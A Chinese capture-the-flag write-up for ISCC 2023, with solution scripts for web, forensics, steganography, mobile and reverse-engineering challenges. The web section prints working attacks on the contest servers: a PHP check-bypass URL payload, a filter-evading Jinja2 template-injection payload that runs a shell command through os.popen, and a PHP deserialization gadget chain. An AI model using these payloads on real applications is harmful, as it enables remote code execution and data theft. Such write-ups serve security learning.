ISCC 2023 Writeup
写在前面
由于整个五月份很忙,所以 Writeup 就开赛第一周写了一点,原本打算赛后趁着河南交题解开环境的时候复现,没想到不给开环境(写不完啦!就这样吧)… 不过手里还有部分附件,只能简单做做了。整体来看 ISCC 越来越夸张了,今年一血出了, 一个小时直接 400 解…
Web
小周的密码锁
输入密码后提交发现有些异常,多出来一个 password2
,我们直接 burp 爆破一下,发现 password
和 password2
等于 5
的时候会输出源代码
http://47.94.14.162:10008/?password=1&password2=1
<?php
function MyHashCode($str)
{
$h = 0;
$len = strlen($str);
for ($i = 0; $i < $len; $i++) {
$hash = intval40(intval40(40 * $hash) + ord($str[$i]));
}
return abs($hash);
}
function intval40($code)
{
$falg = $code >> 32;
if ($falg == 1) {
$code = ~($code - 1);
return $code * -1;
} else {
return $code;
}
}
function Checked($str){
$p1 = '/ISCC/';
if (preg_match($p1, $str)){
return false;
}
return true;
}
function SecurityCheck($sha1,$sha2,$user){
$p1 = '/^[a-z]+$/';
$p2 = '/^[A-Z]+$/';
if (preg_match($p1, $sha1) && preg_match($p2, $sha2)){
$sha1 = strtoupper($sha1);
$sha2 = strtolower($sha2);
$user = strtoupper($user);
$crypto = $sha1 ^ $sha2;
}
else{
die("wrong");
}
return array($crypto, $user);
}
error_reporting(0);
$user = $_GET['username'];//user
$sha1 = $_GET['sha1'];//sha1
$sha2 = $_GET['//sha2sha2'];
//see me can you
if (isset ($_GET['password'])) {
if ($_GET['password2'] == 5){
show_source(__FILE__);
}
else{
//Try to encrypt
if(isset($sha1) && isset($sha2) && isset($user)){
[$crypto, $user] = SecurityCheck($sha1,$sha2,$user);
if((substr(sha1($crypto),-6,6) === substr(sha1($user),-6,6)) && (substr(sha1($user),-6,6)) === 'a05c53'){//welcome to ISCC
if((MyHashcode("ISCCNOTHARD") === MyHashcode($_GET['password']))&&Checked($_GET['password'])){
include("f1ag.php");
echo $flag;
}else{
die("就快解开了!");
}
}
else{
die("真的想不起来密码了吗?");
}
}else{
die("密钥错误!");
}
}
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 1e4) + rand(1, 1e4));
?>
同时发现传参点有点不对劲,在 vscode 里我们清晰地看到存在 unicode 码,也是老考点了
唯一比较难过的点就是绕过两个 if
了,首先我们爆破后六位为 a05c53
的字符串
import hashlib
def sha1(string):
return hashlib.sha1(string.encode('utf-8')).hexdigest()
for i in range(100000000):
string = str(i)
hashed = sha1(string)
if hashed[-6:] == 'a05c53':
print(f"username={string}")
break
# username=14987637
下面我们开始构造一个 sha1 ^ sha2 == user
的字符
…
最终 payload 如下
?password=%01!SCCNOTHARD&username=14987637&sha1=ncxvshadewjpz&%E2%80%AE%E2%81%A6//sha2%E2%81%A9%E2%81%A6sha2=DFSNHPICAKYWV
羊了个羊
小张听说反应力与手速达到一定境界后就可以去打职业,于是他决定从一款小游戏中找找自信。
在 JS 里面 http://47.94.14.162:10000/vue.global.js , 注意是两层 Base64
U1ZORFEzdFpNRlJPWVZKdVZUTnRlVWhMTkdkNk1VVXlOelpwWm1nNFdIaEpmUT09
SVNDQ3tZMFROYVJuVTNteUhLNGd6MUUyNzZpZmg4WHhJfQ==
ISCC{Y0TNaRnU3myHK4gz1E276ifh8XxI}
Chatggg
感觉是 SSTI,简单 fuzz 了一下
{%print lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("os")|attr("\u0070\u006f\u0070\u0065\u006e")("cat /flllaag?txt")|attr("\u0072\u0065\u0061\u0064")()%}
Where_is_your_love
寻找你的爱情故事
访问页面有几个按钮,F12 看到对应 Download.php
,Enc.php
和 LoveStory.php
,访问 Download.php
后得到一个公钥 keyiscc.pem
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAq1z4KZn/krRpsVNGNkix
/WyrrTjDauDMk4Hfd20R5zgzBHtUtvKeTeg3kHKp2k6Pcl3pGSAAGLeEWFORV5ew
lvvSmov7WNZM6olsRs/QKbs03wP/YFUevmkl05ZtrXLlqlVohFddT0Q+BwcIdKfH
hPsZRqFdDrGyLfFkEEMOGth3XXwNtkJAlKLjTSkf2PvTJ1Km2jhfn9gcizan20Ey
5ufah/sBYqLSnNRYMg5R0pGiwcbmz3NzsNm8zopH5cNarrzVEeRlx86oqJw13CJB
DYV0VRNjNgW2+FOQBnMjcH9pCu/zQA3fdXExXXA0+Oe7X+866tlurPWY0YotihgQ
iwIDAQAB
-----END PUBLIC KEY-----
<?php
function enc($data)
{
$str = "";
$a = strrev(str_rot13($data));
for ($i = 0; $i < strlen($a); $i++) {
$b = ord($a[$i]) + 10;
$c = $b ^ 100;
$e = sprintf("%02x", $c);
$str .= $e;
}
return $str;
}
访问 LoveStory.php
得到一段反序列化代码
<?php
include "./xxxiscc.php";
class boy
{
public $like;
public function __destruct()
{
echo "能请你喝杯奶茶吗?<br>";
@$this->like->make_friends();
}
public function __toString()
{
echo "拱火大法好<br>";
return $this->like->string;
}
}
class girl
{
private $boyname;
public function __call($func, $args)
{
echo "我害羞羞<br>";
isset($this->boyname->name);
}
}
class helper
{
private $name;
private $string;
public function __construct($string)
{
$this->string = $string;
}
public function __isset($val)
{
echo "僚机上线<br>";
echo $this->name;
}
public function __get($name)
{
echo "僚机不懈努力<br>";
$var = $this->{$name};
$var[$name]();
}
}
class love_story
{
public function love()
{
echo "爱情萌芽<br>";
array_walk($this, function ($make, $colo) {
echo "坠入爱河,给你爱的密码<br>";
if ($make[0] === "girl_and_boy" && $colo === "fall_in_love") {
global $flag;
echo $flag;
}
});
}
}
if (isset($_GET["iscc"])) {
$a = unserialize($_GET['iscc']);
} else {
highlight_file(__FILE__);
}
根据题目逻辑构造反序列化代码
<?php
class boy {
public $like;
}
class girl {
public $boyname;
}
class helper {
public $name;
public $string;
}
class love_story {
public $fall_in_love=array('girl_and_boy');
public function love() {}
}
$flag = new boy();
$flag->like = new girl();
$flag->like->boyname = new helper();
$flag->like->boyname->name = new boy();
$flag->like->boyname->name->like = new helper();
$flag->like->boyname->name->like->string['string'] = array(new love_story(),'love');
var_dump(serialize($flag));
// O:3:"boy":1:{s:4:"like";O:4:"girl":1:{s:7:"boyname";O:6:"helper":2:{s:4:"name";O:3:"boy":1:{s:4:"like";O:6:"helper":2:{s:4:"name";N;s:6:"string";a:1:{s:6:"string";a:2:{i:0;O:10:"love_story":1:{s:12:"fall_in_love";a:1:{i:0;s:12:"girl_and_boy";}}i:1;s:4:"love";}}}}s:6:"string";N;}}}
然后我们根据前面得到的加密函数,反写出解密函数即可得到 flag
<?php
function dec($data){
$str="";
for($i=0;$i<strlen($data);$i+=2){
$c=hexdec(substr($data,$i,2));
$b=$c^100;
$a=chr($b-10);
$str.=$a;
}
return str_rot13(strrev($str));
}
$c = 'e33a1f1a10e6e73f005958260b1b18595a5839245b3d153b335ee43014355f073ce13e3e3404';
var_dump(dec($c));
// ISCC{G83D7S5ZlNy6FMgB4xfwb41h1PiCne6O}
Misc
好看的维吾尔族小姐姐
五十六个民族,五十六支花,五十六个兄弟姐妹是一家。现如今,民族团结的思想早已深入人心,而维吾尔族又是中华民族的重要组成部分,解决本题需要各位解题人知晓维吾尔族同胞的说话方式。
下载附件得到一个无后缀的 古力娜扎
文件,使用 16
进制编辑器发现是 PNG
文件,手动修改文件后,感觉图片缺半截,直接爆破得到正确宽高
CRC32: 0x52084bfb
宽度: 474, hex: 0x1da
高度: 667, hex: 0x29b
将下面的码左右翻转后解 datamatrix, 然后再 reverse
,最后 html实体
即可得到 flag
ISCC{you_got_it_welldone!}
菜鸟黑客1
找出菜鸟黑客小明留下的flag文件
一开始通过 volatility
找到了桌面存在 flag.txt
文件,但死活导出不了。直接通过 DiskGenius
挂载镜像导出成功,用 R-Studio
亦可
根据提示盲猜密码 ISCC2023
,同时密文部分也给了提示为 DES
加密,直接找个在线DES解密
密文:U2FsdGVkX19WerE/OZodh7liigwc7fzf8eWqByR8ixxENEvPwPpWzm2EL2f90UXO
密钥:ISCC2023
FLAG:ISCC{dbsy_cdis_fd7n_s4fd}
菜鸟黑客2
题目提示喜欢画画,猜测和图片有关,直接搜 pic
发现有个 emoji.jpg
直接尝试导出
.\volatility.exe -f '.\Novice hacker.raw' --profile Win7SP1x64 dumpfiles -Q 0x000000007dfaff20 -D ./
导出后发现一个提示
Pay Attention to emoji's eyes
根据这段信息,猜测为摩斯电码 ,一个眼睛就是一个 .
一个闭着的眼就是一个 -
,根据规则敲出电码进行解密
. -- --- .--- .. .. ... ..-. ..- -.
// EMOJIISFUN
以为是 flag
但并不是,使用 foremost
分离图片得到一个加密压缩包,尝试惯用密码 ISCC2023
成功解压,得到一段维吉尼亚密码
维吉尼亚密码曾多次被发明。该方法最早记录在吉奥万·巴蒂斯塔·贝拉索( Giovan Battista Bellaso)于1553年所著的书《吉奥万·巴蒂斯塔·贝拉索先生的密码》(意大利语:La cifra del. Sig. Giovan Battista Bellaso)中。然而,后来在19世纪时被误传为是法国外交官布莱斯·德·维吉尼亚(Blaise De Vigenère)所创造,因此现在被称为“维吉尼亚密码”。
MEQL{invk_vhlu_dzel_lkof}
那没啥好说的了,直接通过上面摩斯电码解出来的内容当作 key
成功得到 flag
ISCC{afdf_buhi_pqwd_tfus}
消息传递
消息是如何传递的呢(思考…)
直接文件导出 IMF
进行追踪发现存在一个 rar
和 png
文件
我们通过 在线Base64转文件工具 将 base64
编码的内容转换为文件,然后通过 foremost 分离 PNG
得到 rar
的解压密码为 password1 + password2,然后在 TCP
流 60
和 36
得到密码
WRWAALIUWOHZAPQWFTQIPMVJFOKHHZUZ
使用密码解压压缩包后得到 122
张黑白图片,直接 白色
为 0
,反之为 1
,然后转为十进制
from PIL import Image
import os
for i in range(1, 113):
filename = f"./{i}.png"
if os.path.isfile(filename):
image = Image.open(filename)
image = image.convert("L") # 转换为灰度图像
pixels = list(image.getdata())
if all(pixel == 255 for pixel in pixels):
print(0, end="")
else:
print(1, end="")
# 010010010101001101000011010000110111101101101001001100100111001100110000011000110011001001100011001100110111101
# ISCC{i2s0c2c3}
# 但是根据常规flag格式把末尾的=替换为}
# ISCC{i2s0c2c3}
然后我们根据最初附件内提供的 dictionary.txt
,进行匹配替换即可得到最终 flag
dictionary = open('./dictionary.txt','r').read().split('\n')[:-1]
dict1 = {}
for pair in dictionary:
key, value = pair.split(':')
dict1[key] = value
print(dict1)
message="ISCC{i2s0c2c3}"
[print(dict1.get(i),end='')if i in dict1 else print(i,end='') for i in message ]
你相信AI吗?
经典的算法,经典的数据,但也许会出现不一样的结果?
一开始有非预期,32
个文件,通过读取文件内容,可以得到手写数字,然后根据数字结果进行爆破即可。后来修复了,变为了 80
个文件加爆破出来的结果为 Base64
编码 4
此后的内容,不过依旧算是非预期。
from PIL import Image
for i in range(80):
input_file = f"./dataset/{i}.txt"
output_file = f"./out/{i}.png"
with open(input_file, "r") as f:
data = f.readlines()
pixel_values = []
for row in data:
row = row.strip().split(" ")
pixel_values.extend([int(float(x)) for x in row])
width = 28
height = len(pixel_values) // width
image = Image.new("L", (width, height))
image.putdata(pixel_values)
image.save(output_file)
然后直接在爆破后的结果中搜索 ISCC
进行 4
次 Base64
编码后的字符 VlRGY
即可找到正确的字符串(记得手动再去解码四次
import string
import itertools
import contextlib
list = '859 685 853 876 852 859 856 638 851 687 688 851 857 873 899 660 854 682 669 874 854 878 828 669 822 633 899 685 859 685 878 843 859 682 802 662 825 878 828 854 853 687 663 859 825 855 853 680 852 859 828 874 859 682 870 840 851 682 878 851 825 859 870 877 859 685 828 859 875 859 875 873 853 687 859 680 686 689 894 847'.split(" ")
def has_visible_bytes(input_bytes):
return all(bytes([b]).decode() in (string.ascii_letters + string.digits + '=+/') for b in input_bytes)
digits = "0123456789"
for permutation in itertools.permutations(digits):
maketrans = str.maketrans(digits, ''.join(permutation))
with contextlib.suppress(Exception):
plain_text = bytes(int(i.translate(maketrans)) for i in list)
if has_visible_bytes(plain_text):
print(plain_text)
汤姆历险记
文件尾提取得到一段字符串,foremost
分理出一个加密压缩包,对字符串进行字频分析得到解压密码
{yasuobpwrd91702!@$%^&*}
解压后得到一段文章,我们发现行间距不一样。有 1倍
行距,有 1.5倍
行距,我们尝试转摩斯电码
... -. -.. --. .- -.- . .-
// sndgakea
然后再根据消息传递的脚本进行对照即可
dictionary = open('./dictionary.txt','r').read().split('\n')[:-1]
dict1 = {}
for pair in dictionary:
key, value = pair.split(':')
dict1[key] = value
print(dict1)
message="ISCC{sndgakea}"
[print(dict1.get(i),end='')if i in dict1 else print(i,end='') for i in message ]
人生之路
人生之路充满着迷茫,也许成功的密码就在脚下,也许需要我们行走四方,也许我们旅途的记录会发生整体漂移,也许我们已经记不清走了多少路,分不清旅途的方向(flag以大写字母组成)。
提示1:windows下大图标模式查看,成功的密码就在脚下!
题目太抽象了,最后根据提示发现解压密码就是图片文件名 人生之路.jpeg
,将解压后得到如下字符串
sOpXhOpXsO pOhXsOhXpO pOhOsO pOhOsO pXhXpXsXhXsX sOpOhOpXsO hOsO hOlOsOhXpO hOlOsOhXpOsOhX pOhOsO hOsOlO sOpOhOpXsO hOlOsOhOpO sOpOhXsOpOhXsO hOsO sOpXhOpXsO hsXlsXhpXhX pOlOsOhOhsX hOlOsOhXpO hOsO sXhXsXpXhXpX
结合题目描述中的 行走四方
,通过凯撒移位到包含 wasd
的密文
Z:2,I:1,W:上,A:左,S:下,D:右,SD:右下
然后直接画出来就行了
ISCC{FLPRCUFDELIYQPL}
当然这里也有师傅整理出来的对照表
{
"saIsIwIdIwaIsdIsI": "A",
"sZwZdZsZaZdZsZaZ": "B",
"aZsZdZ": "C",
"sZwZdZsZaZ": "D",
"dZaZsIdZaZsIdZ": "E",
"dZaZsZaIdZ": "F",
"aZsZdZwIaI": "G",
"sZwIdZwIsZ": "H",
"dZaIsZaIdZ": "I",
"dZaIsZaI": "J",
"sZwIdIdwIsaIsdI": "K",
"sZdZ": "L",
"wZsdIwdIsZ": "M",
"wZsdZwZ": "N",
"sZdZwZaZ": "O",
"sZwZdZsIaZ": "P",
"aZwZdZsZsdI": "Q",
"sZwZdZsIaZdZsI": "R",
"aZsIdZsIaZ": "S",
"dZaIsZ": "T",
"sZdZwZ": "U",
"sIsdIdwIwI": "V",
"sdZwdZsdZwdZ": "W",
"sdZwaIwdIsaZ": "X",
"sdIwdIsaIsI": "Y",
"dZsaZdZ": "Z",
"aIsIaIdIsIdI": "{",
"dIsIdIaIsIaI": "}"
}
Mobile
NOJAVA
NOT JAVA BUT
text = 'jeYejfjijjYfeYfYjjiZeieZ'
binary = ''.join(format(ord(i), '08b') for i in text)
a = [binary[i:i+4] for i in range(0, len(binary), 4)]
payload = ""
conversion_table = {"1001": "10", "0110": "01", "1010": "11", "0101": "00"}
for i in a:
if i in conversion_table:
payload += conversion_table[i]
else:
print("waaa")
result = ''.join(chr(int(payload[i:i+8], 2)) for i in range(0, len(payload), 8))
print(f"ISCC{{{result}}}")
ManyJNI
可以绕过,但不能跳过!
dic = {"1463495029.1088610877": "+", "1049530879.4255690777": "#", "2862766292.2381007417": "$",
"3330444070.1174262214": ",", "2227920669.2827401366": "_", "1579951362.2846238576": "8", "368955456.3265704134": "T",
"2696190145.613662970": "(", "3872134833.1068749546": "m", "891426205.2766473378": "/", "1519023352.105877999": "j",
"2477809142.443877620": "[", "2647754101.2230120467": "`", "3075111042.1323776342": "i", "986806734.2777299023": ".",
"3896053831.4135235691": "?", "1184712308.807098365": "I", "4075828588.429489377": "M", "2429787593.619384622": "l",
"881206442.1709247634": "]", "1083538065.1130340170": "a", "4023341693.1586698450": "6", "155280819.3054501475": "W",
"99771100.1051999332": "9", "4232898851.3300692563": ")", "64956337.4234499210": "1", "2870232400.3722498303": "\\",
"2841218066.780431097": "e", "132800239.3878689771": "w", "2156232310.2823971181": "k", "1808290711.212509551": "7",
"696150085.2220172189": "p", "3713618273.3259647236": "q", "3121040253.2415880190": "u", "2858698525.3991735450": "z",
"2547227671.698153515": ";", "654785657.4006927810": "n", "3711461495.3008240604": "<", "3581263639.1952078211": "f",
"3164894139.2581098102": "y", "3160675335.657981347": "x", "1158103192.2450550443": "~", "1236282010.4060431406": "A",
"4027068562.440012179": "c", "351048083.1823512614": "o", "1462318326.3226159060": "C", "2954653653.1618611175": "P",
"701073028.312955233": "%", "666315003.3369729975": "4", "2853626980.607086523": "=", "19734539.2637167118": "@",
"4120373985.112157582": "J", "2302105109.2843567652": "L", "1392500071.2693188089": "^", "709910699.3712210805": "s",
"3113384841.1999610280": ":", "1964704696.30454558": "X", "3016651642.1304626590": "E", "924745076.1085575287": "3",
"1979386605.348865528": "*", "3283987997.1614515444": "\"", "3248176867.998559740": "Y", "2460099397.287946231": "r",
"933728663.4036345491": "D", "870221498.4165280671": "F", "700813972.3680578651": "!", "2666170697.1050538432": "G",
"3735675442.4106461569": "Q", "3944223761.1040972928": "S", "406509623.2197974953": "-", "166914849.75133536": "2",
"1971216652.4016620168": "B", "3126027666.2407112104": "'", "2421050068.877129437": "h", "2694837670.239856188": "v",
"4259959222.1144992995": "}", "1986798057.4141497725": "0", "734889408.680957602": "t", "3747360752.949414639": ">",
"4099300672.1926520061": "V", "2965350987.46203785": "K", "428936951.1911408410": "d", "1336447878.2775388247": "b",
"4097885373.4018178710": "&", "1935593237.368431450": "Z", "529156133.278213883": "N", "2381012008.4088810995": "R",
"385403258.710806366": "g", "4273244629.3478477188": "H", "1802901715.704799359": "|", "930008935.2627182413": "5",
"4018804880.2724391126": "O", "4067852839.2777358486": "U", "1615466436.2634553015": "{"}
part1 = ".406509623.1979386605.1579951362.1964704696.870221498.99771100.3872134833.1336447878.3944223761.1236282010.529156133.4075828588"[1:].split(".")
part2 = ".2197974953.348865528.2846238576.30454558.4165280671.1051999332.1068749546.2775388247.1040972928.4060431406.278213883.429489377"[1:].split(".")
flag = ''.join(dic[a + '.' + b] for a, b in zip(part1, part2))
if flag[-3:] == 'ANM':
print(f"ISCC{flag[:-3]}")
# ISCC-*8XF9mbS
Reverse
JustDoIt
干就完了!
from z3 import *
key = 'ISCC'
a1 = [23, 68, 68, 15, 94, 10, 8, 10, 6, 95, 8, 24, 87, 3, 26, 105]
for i in range(1, 16):
key_index = i % 4
a1[i] ^= ord(key[0])
a1[i] -= ord(key[key_index]) % 5
a1[i] += (ord(key[2]) % 6 + ord(key[3]) // 6)
a1[i] -= (ord(key[1]) // 7 + ord(key[0]) % 7)
a1[i] -= i
a1[i] += 60
result = ''.join(chr(x) for x in a1)
print(result)
# ISCC{Just~Do~It}
变形记
Mr.String竟然来报名变形记,但他没叫Mr.Num,拭目以待!
from base64 import b64decode
secret = "=IjdzZXUzlnMVFmMCN3Y6FVVzF1c"
decoded_secret = b64decode(secret[::-1]).decode()
flag = []
for i, char in enumerate(decoded_secret):
if not char.isdigit():
flag.append(char)
else:
flag.append(decoded_secret[i-1] * (int(char) - 1))
result = ''.join(flag)
print(f"ISCC{{{result}}}")
# ISCC{sQsUQzcsBBaUUysQvsvv}
奇门遁甲
依次输入 31284567
会依次得到一段 flag,最后拼到一起即可得到 flag